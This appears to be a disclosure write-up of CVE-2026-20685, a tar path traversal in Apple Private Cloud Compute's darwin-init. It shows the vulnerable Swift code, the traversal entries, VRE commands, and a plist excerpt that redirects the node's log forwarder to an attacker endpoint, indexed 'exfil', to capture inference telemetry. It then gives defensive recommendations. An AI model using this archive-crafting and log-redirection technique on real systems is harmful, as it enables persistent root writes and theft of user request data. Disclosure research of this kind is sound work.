
Executive Summary
Most of the AI security conversation in 2026 still orbits the model: prompt injection, jailbreaks, adversarial suffixes, RAG poisoning. The research behind CVE-2026-20685 is a reminder that an inference platform is still a platform. Drinor Selmanaj, working through Sentry’s Applied Research Center, found a classic path traversal in darwin-init — the PID 1 provisioning process that brings up every Apple Private Cloud Compute node — and turned it into an arbitrary root file write that survives the userspace reboot. Apple assigned CVE-2026-20685, rated it information disclosure (CVSS 6.5, AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N), fixed it in PCC release 5E290.3 and later, and paid a $150,000 Apple Security Bounty for it.
The interesting part is not the bug class — it is thirty years old, the same shape as Zip Slip and CWE-22. The interesting part is what a single root-owned file on the writable data volume buys you inside a system that markets itself on stateless processing, cryptographic attestation and sealed observability. By dropping a LaunchDaemon-triggered configuration file into /var/db/prcos/splunkloggingd/config-main.plist, the researcher redirected the node’s internal log forwarder to an attacker-controlled Splunk HEC endpoint and started receiving CloudBoard daemon state, per-request inference metadata that Apple’s own source marks as “must not be logged publicly,” and token-level telemetry precise enough to fingerprint prompt length and speculative decoding behaviour. Then he showed the part that should worry platform architects most: Apple’s own attestation verifier could not tell a poisoned node from a clean one, because attestation measures installed software, not the mutable configuration state that decides what those daemons actually do at runtime.
Vulnerability at a Glance
| CVE | CVE-2026-20685 |
| Component | darwin-init (PCC node provisioning, PID 1, root) |
| Class | Path traversal during archive extraction (CWE-22, “Zip Slip”) |
| Primitive | Arbitrary file write as root on the writable data volume, persisting across the userspace reboot |
| Impact | Redirection of splunkloggingd telemetry to an attacker endpoint; disclosure of CloudBoard state, per-request inference metadata and token-level side channels |
| Apple rating | Information disclosure — CVSS 6.5, AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N |
| Fixed in | PCC release 5E290.3 and later |
| Bounty | $150,000 (Apple Security Bounty) |
| Test environment | Apple Virtual Research Environment (VRE), PCC release 37684 — no production infrastructure touched |
What is PCC and how it’s related to AI
Private Cloud Compute is the server side of Apple Intelligence: the infrastructure that handles requests too large or too complex to run on the device itself. Apple’s pitch is that sending a request to PCC should cost you approximately nothing in privacy terms compared with keeping it on your iPhone. That claim rests on three mechanisms, which the original article states as follows.
Stateless. A node processes a request in memory and keeps no user data across requests or reboots.
Attested. Before your device sends anything, it verifies cryptographically, against a public transparency log, that the node runs only the software Apple published.
Sealed observability. Logs and metrics pass through sealed audit tables, so only specific pre-approved fields leave a node.
Original article — “What is PCC and how it’s related to AI”
Each of those three is a claim about a boundary, and each one is only as strong as the code that establishes the boundary in the first place. Stateless is a claim about what a node retains. Attested is a claim about what a node runs. Sealed observability is a claim about what leaves a node. The exploit chain described below does not break the cryptography behind any of them — it walks in through the provisioning path that runs before the steady-state services that enforce those properties exist, and it lands in the one place attestation never looks.
Definitions
A handful of PCC-specific terms make the rest of the write-up readable.
- A PCC node is a single server in the fleet, running a hardened DarwinOS.
- A cryptex is a cryptographically sealed extension — a signed bundle of code and data mounted onto a node at boot. PCC ships its operating system and its services as cryptexes.
darwin-initis the first userspace process on a booting node: PID 1, running as root. It fetches the node’s configuration, downloads and extracts the cryptexes, installs them, and triggers a userspace reboot into the running system.- The VRE (Virtual Research Environment) boots a genuine PCC image inside a VM so that researchers can test against it.
- The trust boundary is Apple’s line between inside PCC, where your data is protected, and outside, where it is not. Attestation is how your device checks that a node is genuine and running only published software before trusting it.

The boot window: darwin-init runs as root
The first userspace process on a PCC node is darwin-init, running as PID 1 with root privileges. Its job is a linear sequence: resolve a configuration source, download the system cryptexes, extract them, personalize and install them, then trigger a userspace reboot (USR) that brings up the steady-state services.
Two properties of that window matter for exploitation. First, darwin-init writes to the writable data volume as root before any service that enforces the node’s steady-state assumptions is running. Anything it leaves on disk is simply present when the node comes up — there is no later component whose job it is to look at that volume and object.
Second, cryptexes install one at a time, and the result of each install is compared against the requested configuration. If a single cryptex fails to install, that check fails, USR never fires, and the node hangs with no services at all. That second property is what turns a trivially exploitable write into a design problem for the attacker: a payload that writes files but breaks the install leaves a bricked node, which is worse than useless if the goal is a live node quietly exfiltrating telemetry.

darwin-init resolves its configuration, fetches and extracts cryptexes, runs the empty validate(cryptexConfig:) stub, personalizes and installs, then triggers the userspace reboot that starts the post-boot services. Source: original article.PCC’s Extractors
When darwin-init downloads an artifact, it reads the first four bytes to decide which extractor to hand it to.
| Magic | Type | Extractor |
|---|---|---|
AEA1 | Apple Encrypted Archive | extractAppleEncryptedArchive |
AA01 | Apple Archive | extractUncompressedAppleArchive |
| anything else | tar / gz / bz2 / zip / cpio | extract(to:) |
darwin-init. Source: original article.This is where the design gets unlucky. A tar archive’s ustar signature lives at byte offset 257 — far past the four-byte window the dispatcher inspects. So a plain tar matches none of the known magics and falls through the default branch to the generic extract(to:) path. The two Apple-signed release assets take the hardened Apple Archive extractors; an attacker-supplied tar takes the generic one.
The vulnerable function
extract(to:) reads each archive entry’s pathname and rewrites it to be relative to the output directory. The rewrite is a string append:
guard let cStr = archive_entry_pathname(entry) else { continue }
let str = String(cString: cStr)
// update entry pathname relative to output dir
let pathname = path.appending(str)
archive_set_pathname(entry, pathname.description)
The entry name comes straight out of the archive and is appended to the output directory with no sanitisation and no validation. There is no check for a leading /, no check for .. components, and no post-append canonicalisation to confirm the result is still inside the destination. The extraction options confirm the reading:
let options = ARCHIVE_EXTRACT_TIME | ARCHIVE_EXTRACT_PERM
| ARCHIVE_EXTRACT_ACL | ARCHIVE_EXTRACT_FFLAGS
Those four flags preserve timestamps, permissions, ACLs and file flags. What is conspicuously missing is any of libarchive’s security flags — the ones that exist precisely to stop this class of bug. Without them, libarchive writes wherever the entry name points and cheerfully returns ARCHIVE_OK. Note what that means for detection: the extraction does not fail, does not warn, and does not degrade. The provisioning flow sees a successful extraction.
Two further controls could have caught the payload before it ever reached the extractor, and neither did:
- The cryptex configuration passes through
PrivateCloudOSValidator.validate(cryptexConfig:)— which, in the published source, has an empty function body. A validation hook exists, is called at the right place in the flow, and does nothing. - The per-cryptex
sha256digest is optional. When the attacker supplies the configuration, the digest can simply be omitted, and integrity verification is skipped along with it. The researcher took advantage of exactly this.
The extraction path
The extraction base sits four levels deep:
/var/tmp/darwin-init/cryptex/<UUID>/
Which makes the traversal arithmetic straightforward:
.. | Resolves to | Note |
|---|---|---|
| ×3 | /var/tmp/ | erased by USR |
| ×4 | /var/db/ | persists |
| ×5 | / | filesystem root |
Three .. components land in /var/tmp/, which the userspace reboot wipes — useless for persistence here. Four reach /var/db/ on the writable data volume, which survives the reboot. That is the target the researcher went for, and it is the same volume the steady-state daemons read their runtime configuration from.
Crafting a malicious cryptex
This is the part that required experimentation, and it is the part that separates a proof-of-concept crash from a working exploit.
A raw tar consisting only of traversal entries does write the attacker’s files — and then fails the fullyApplied check, so USR never fires and the boot hangs. The payload therefore has to be two things simultaneously: a working path-traversal exploit, and a structurally valid cryptex that passes the install-time checks.
The solution is one tar archive carrying two kinds of entries:
- Traversal entries prefixed with
../../../../db/, which escape the extraction base and land in/var/db/. Alongside them sits a complete, valid cryptex bundle —Restore/BuildManifest.plist— and - a
Restore/Cryptex/POC_DEMO/{gdmg,ginf,gtcd,gtgv}set, produced by running Apple’s ownpccvre cryptex createagainst a throwaway source directory and extracting the resulting.aar.
The ordering does the rest. The traversal entries extract out to /var/db/ first. The Restore/ subtree then lands in the extraction directory, where cryptexctl personalize inspects it. Personalization succeeds, install succeeds, fullyApplied passes, USR fires — and the node boots clean, with the attacker’s files already sitting on the persistent volume.
Here is the finished archive, as reported by the build tool’s inspect command:
$ python3 CVE-2026-20685.py inspect malicious_cryptex.tar
[F] ../../../../db/poc_darwin_init_traversal_proof 357 B traversal
[F] ../../../../db/prcos/splunkloggingd/config-main.plist 836 B traversal
[D] Restore/
[D] Restore/Cryptex/
[F] Restore/BuildManifest.plist 1746 B bundle
[D] Restore/Cryptex/POC_DEMO/
[F] Restore/Cryptex/POC_DEMO/gdmg 14336 B bundle
[F] Restore/Cryptex/POC_DEMO/ginf 527 B bundle
[F] Restore/Cryptex/POC_DEMO/gtcd 46 B bundle
[F] Restore/Cryptex/POC_DEMO/gtgv 229 B bundle
The first two entries extract out to /var/db/. Everything after them is the genuine cryptex bundle whose only job is to keep the boot alive.
Proof on the VRE
The test setup was a VRE instance built from PCC release 37684, with the malicious tar registered as a third cryptex alongside the two Apple-provided release assets. On boot, pccvre stands up an HTTP server on the host; darwin-init POSTs its device identity to that server, receives a full remote configuration back, then downloads every cryptex the configuration names — including the attacker’s — over plain HTTP. The two Apple .aar assets match AA01 and take the safe extractor. The tar matches nothing and falls through to extract(to:).
$ /System/Library/SecurityResearch/usr/bin/pccvre instance start --debug -N demo
HTTP service started: 192.168.64.1:58538
DarwinInitHelper update cryptex:
malicious_cryptex.tar -> http://192.168.64.1:58538/malicious_cryptex.tar
Starting VM: demo (ecid: 3443e8d0ffe39efa)
Started VM: demo
A few seconds later the node was up. Verification used the research-only Debug Shell, which does not exist in production. That shell ships without cat or ls, so the read has to go through a shell builtin:
$ ssh root@192.168.64.50 'echo "$(< /var/db/poc_darwin_init_traversal_proof)"'
PATH_TRAVERSAL_CONFIRMED: Written by
darwin-init FilePath+Archive.swift:95
Extraction base: /var/tmp/darwin-init/cryptex/<UUID>/
Target: /var/db/poc_darwin_init_traversal_proof
$ ssh root@192.168.64.50 'test -f /var/db/.DarwinSetupDone && echo BOOT_COMPLETED'
BOOT_COMPLETED
The file was written by root, well outside the extraction directory, and it survived the userspace reboot. The presence of .DarwinSetupDone confirms the boot finished normally rather than hanging — that is, the node is a fully functional PCC node with an attacker-controlled file on its persistent volume. From there the question became what a root file write is actually worth.
Redirecting splunkloggingd to my own endpoint
PCC ships splunkloggingd, an internal log forwarder. Its LaunchDaemon uses a PathState KeepAlive keyed on exactly one file on the writable data volume: /var/db/prcos/splunkloggingd/config-main.plist. The instant that file exists, launchd starts splunkloggingd and points it at whatever the file says.
That is a beautiful primitive to pair with an arbitrary root write. The attacker does not need to inject code, sideload a binary, or defeat code signing — they need to create one plist, and a signed, Apple-published daemon does the exfiltration for them. The second traversal entry writes that file, with a configuration of the researcher’s choosing. These are the fields that mattered most, with some keys omitted:
<key>Server</key> <string>http://192.168.64.1:8088</string>
<key>Index</key> <string>exfil</string>
<key>Predicates</key>
<array>
<string>subsystem == "com.apple.cloudos.cloudboard"</string>
<string>subsystem == "com.apple.cloudos"</string>
<string>subsystem == "com.apple.darwininit"</string>
</array>
<key>Level</key> <string>Debug</string>
On the next iteration, within seconds of boot completing, the listener was taking POSTs — roughly 785 KB of CloudBoard daemon state, job events and node telemetry up front, followed by a steady stream of informational logging.
It gets considerably more interesting once AI inference is actually running on the node. Driving a single inference request through it made the redirected stream start carrying per-request metadata from the PCCAgentApp sender — the key fields of its PlaintextMetadata structure:
bundleID: "local-cloudboard-client"
workloadType: "tie-vre-cli"
requestID: CAFC3ED5-…-363C47FB9B64
automatedDeviceGroup: "local-test-device"
Those fields are absent while the node sits idle and appear only when it processes a request. Across three requests they correlated into clean per-request clusters, each with its own request ID and its own chunk sizes. In Apple’s source, bundleID, featureID and workloadType are production request-routing, access-control and rate-limiting fields; requestID and automatedDeviceGroup are per-request correlation and device-grouping identifiers. CloudBoard itself marks the rendered PlaintextMetadata description as something that “must not be logged publicly” — which is a strong statement about impact coming from the vendor’s own codebase.
Widening the predicate set to include the Trusted Inference Engine’s senders handed over token counts through the same channel. Two prompts of very different lengths produced the following:
| Metric | “Hi” | “Explain quantum computing…” |
|---|---|---|
| input tokens | 2 | 37 |
| output tokens | 100 | 100 |
| draft output tokens | 61 | 73 |
| first-token latency | 843 ms | 1830 ms |
The input counts track prompt length, which confirms the metric is genuinely measuring tokenization rather than something incidental. Beyond that there is per-token timing, draft-token counts that reveal speculative decoding behaviour, and model identity. None of that is plaintext prompt content — but it is exactly the raw material that side-channel research runs on. Length, timing and decoding structure, correlated per request and per device group, is a meaningful leak against a system whose entire proposition is that nothing about your request leaves the node.

The attestation gap
The most consequential result is not the leak — it is that the leak is invisible to the mechanism designed to catch it. The researcher ran a nonce-controlled comparison across three boots of the same instance: two clean boots from a control tar with no traversal entries, and one poisoned boot from an identical bundle plus the traversal entry. The .cxbd bundle contents were confirmed byte-identical between the two tars beforehand, and then the attestation bundles were diffed.
| Attestation field | Clean vs poisoned | Why |
|---|---|---|
apTicket | identical | invariant |
| SecureConfig entry and digest | identical | invariant |
| cryptex metadata and entry flags | identical | invariant |
appData | identical | invariant |
Image4 manifests, sepAttestation | differ | per-boot nonce, same pattern in the clean-vs-clean control |
keyExpiration | differ | per-boot timestamp |
| writable data-volume state | differs | not measured by the attestation chain |
Apple’s own verifier, pccvre attestation verify, treated both bundles identically at every level tested. The conclusion the researcher draws is that PCC’s attestation measures installed software; the writable data-volume files that drive daemon behaviour at runtime do not appear to be part of the verification process. Attestation proves what software is installed — not the integrity of the configuration files that decide what that software does.
In every attestation-relevant field that could be examined, the poisoned node was indistinguishable from a clean one. That is worth stating plainly: a client device performing the full, correct attestation handshake against a compromised node would have received a valid answer and sent its request anyway. The measurement covers the wrong surface, and no amount of cryptographic rigour in the parts it does cover compensates for that.
Why this matters now
Private Cloud Compute keeps growing in importance as the core component of Apple Intelligence. At WWDC in June 2026, Apple introduced a rebuilt and far more capable assistant, Siri AI, as part of the next generation of Apple Intelligence, with beta availability planned for later in 2026. Apple’s public materials state that Apple Intelligence’s larger, server-based models run in Private Cloud Compute — described as extending the security and privacy of Apple devices into the cloud.
The more inference moves off-device, the more the privacy story depends on infrastructure guarantees rather than on the physical boundary of the phone in your pocket. That shifts the security question from “is the model safe?” to “is the platform that runs the model actually enforcing what it claims?” — and the answer to the second question is decided by provisioning code, archive extractors, LaunchDaemon triggers and what exactly the attestation chain measures.
Disclosure
At its core, this is a thirty-year-old vulnerability class, the same one as Zip Slip, CVE-2007-4559, and CWE-22, but that just goes to show that securing the entire inference pipeline and environment is just as important as securing the model itself.
Original article — “Disclosure”
CVE-2026-20685 was reported to Apple through responsible disclosure. All work was performed inside Apple’s Virtual Research Environment — the official tooling Apple provides for PCC security research — and no testing was done on production infrastructure.
Apple rated the issue as information disclosure (CVSS 6.5, vector AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N) and addressed it in PCC releases 5E290.3 and later. Apple validated the report and recognized it under the Apple Security Bounty with a $150,000 award. The researcher notes that Apple’s Product Security team took the report seriously from the start and engaged directly with the technical detail, and credits Apple for building a research environment that serves researchers well. A more detailed technical paper is due in the coming weeks.

Key Takeaways
- The oldest bug class still lands in the newest infrastructure. CWE-22 path traversal in an archive extractor — the same shape as Zip Slip and CVE-2007-4559 — produced a root file write inside Apple’s flagship confidential-computing platform.
- Magic-byte dispatch is a security decision. Because tar’s
ustarsignature sits at offset 257 and the dispatcher only reads four bytes, an attacker-supplied tar silently routes to the least hardened extractor. Format detection that selects a trust level needs to be exhaustive, not opportunistic. - Empty validation stubs are worse than no validation.
PrivateCloudOSValidator.validate(cryptexConfig:)exists, is called in the right place, and does nothing — giving every reader of the code the impression that the input is checked. - Optional integrity checks are effectively absent under attacker-supplied configuration. A
sha256digest the attacker can omit is not an integrity control. - Boot-time root writes outlive the boot. Four
..components reach/var/db/, which persists across the userspace reboot, while three reach/var/tmp/, which does not. Persistence boundaries decide exploitability. - A single plist can weaponise a signed daemon. The
PathStateKeepAlive onsplunkloggingdmeans creating one file starts an Apple-signed log forwarder pointed at an attacker’s endpoint — no code injection, no code-signing bypass. - Attestation that measures software but not mutable configuration state leaves a gap. The poisoned node verified as clean under Apple’s own
pccvre attestation verifyacross every field examined. - Telemetry is an inference side channel. Token counts, draft-token counts, per-token timing and model identity are not prompt plaintext, but they leak prompt length and decoding structure per request — against a platform that promises none of it leaves the node.
Defensive Recommendations
- Set libarchive’s security flags, always. Add
ARCHIVE_EXTRACT_SECURE_NODOTDOT,ARCHIVE_EXTRACT_SECURE_SYMLINKSandARCHIVE_EXTRACT_SECURE_NOABSOLUTEPATHSto every extraction option set. Preserving permissions and ACLs without them, as here, is the exact combination that turns an extractor into an arbitrary write primitive. - Canonicalise after the join, not before. Resolve the concatenated destination path and assert it is still a prefix-match of the extraction root before writing. Rejecting
..by string inspection alone misses symlink and absolute-path variants. - Grep your codebase for empty validators. Any function named
validate*,check*orverify*with an empty body is an active liability — it suppresses the reviewer instinct that would otherwise ask where validation happens. Either implement it or make it fail loudly as unimplemented. - Make integrity digests mandatory on any attacker-influenceable path. If a configuration source can be supplied remotely, an optional
sha256field must be treated as required; reject artifacts that arrive without one rather than silently skipping verification. - Extend attestation to mutable runtime state. Measure the writable data volume — or at minimum the specific configuration files that daemons key their behaviour on — and include those measurements in the attestation bundle so a client can distinguish a poisoned node from a clean one.
- Audit KeepAlive and file-triggered daemon activation. Enumerate every LaunchDaemon using
PathState,WatchPathsorQueueDirectoriesand treat each watched path as a privileged input. A file-existence trigger on a writable volume is a remote-configuration channel by another name. - Constrain log-forwarder destinations at the platform level. Pin the telemetry endpoint in immutable, attested configuration and enforce egress allow-listing so a rewritten plist cannot redirect an internal forwarder to an arbitrary host.
- Treat inference telemetry as sensitive by default. Token counts, latencies, request IDs and device-group identifiers deserve the same classification and the same sealed-observability handling as prompt content, because correlated across requests they support the same attacks.
- Provision over authenticated, integrity-protected transport. Fetching cryptexes over plain HTTP from a configuration-named URL removes an entire layer of defence in depth even when signing exists downstream.
Conclusion
CVE-2026-20685 is a useful corrective to the idea that AI security is mostly a model-alignment problem. The attack here needed no prompt engineering and no adversarial input to the model at all: it needed a tar file, a missing set of libarchive flags, an empty validation stub, and a daemon that starts when a file appears. What it produced was a live, correctly attesting Private Cloud Compute node streaming CloudBoard state and per-request inference telemetry to a machine the researcher controlled. The fix shipped in PCC 5E290.3 and the bounty reflects how seriously Apple treated it — but the structural lesson, that attestation measuring installed software says nothing about mutable configuration state, generalises well beyond Apple to every confidential-computing platform now being built to host inference.
Original text: “Beyond Prompt Injection: Hacking Apple’s Private Cloud Compute” by Sentry (research by Drinor Selmanaj) at Sentry Security Blog.


